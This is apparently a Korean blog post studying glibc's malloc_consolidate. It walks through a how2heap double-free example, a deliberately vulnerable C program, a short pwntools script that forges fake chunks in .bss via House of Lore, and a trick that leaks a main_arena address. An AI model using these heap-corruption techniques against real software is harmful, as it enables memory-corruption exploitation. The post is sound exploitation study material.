github twitter facebook email
Malloc_consolidate
Oct 5, 2018
2 minutes read

consolidate 에 대해 이해가 좀 부족한거 같아서 정리해보려한다.

먼저 How2Heap예제다.

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

fastbinfree

free(p1)을 하였을 때, 이런식으로 fastbin에 들어가게 된다. 하지만 malloc(0x400)을 요청하게 되면

big

malloc_consolidate()에 의해서 fastbin들이 병합되어 smallbin으로 옮겨가게 된다.

여기서 fastbin은 free할 때 fastbintop만을 보고 하기에, 같은 p1 포인터를 한번더 free할 수 있게된다.

따라서 한번더 p1을 free하게 되면

fastbinfree2

이런식으로 fastbin[3] 과 smallbin[3]에 같은주소가 들어가게 되어서,

처음에는 fastbin에서 두번째는 smallbin에서 꺼내오면서 같은 주소를 2번 받아낼 수 있다.

하지만 fastbin -> smallbin 순서로 꺼내오기에, fastbin duplicate같은 공격은 불가능해진다.

그러면 이를 어떻게 익스하냐면 House of Lore를 여기서 사용한다.

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

char buf[100];

int main() {
	int *p1 = malloc(0x40);
	int *p2 = malloc(0x50);
	free(p1);
	malloc(0x400);
	free(p1);
	
	int *p3 = malloc(0x40);
	
	read(0, buf,100);
	read(0, p3, 100);
	printf("%p\n",malloc(0x40));
	printf("%p\n", malloc(0x40));
}

이런식의 코드가 있다. buf에 fake chunk를 만들고, fastbin에서 받은 주소를 사용하여 smallbin에 들어있는 chunk의 bk를 조작한다.

from pwn import *

p = process("./a")
elf = ELF("./a")

fake= p64(0) + p64(0) + p64(0x602000) + p64(elf.bss()+8*4 + 0x20) # fake 1
fake += p64(0) + p64(0) + p64(elf.bss() + 0x20) # fake 2

p.send(fake)
p.send("A"*8 + p64(elf.bss() + 0x20))

p.interactive()

이러한 공격코드를 짤 수 있다.

image

이렇게 bss영역을 받아낼 수 있다.

그리고 조금 신기한 트릭인데,

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x50);
  
  free(p1);
  malloc(0x400);
  free(p1);

  free(p2);
  malloc(0x400);
  free(p2);
  
  malloc(0x40);
  printf("%p\n", malloc(0x40));
}

다음과 같은 코드로 main_arena+264 주소를 받아낼 수 있다.


Back to posts


comments powered by Disqus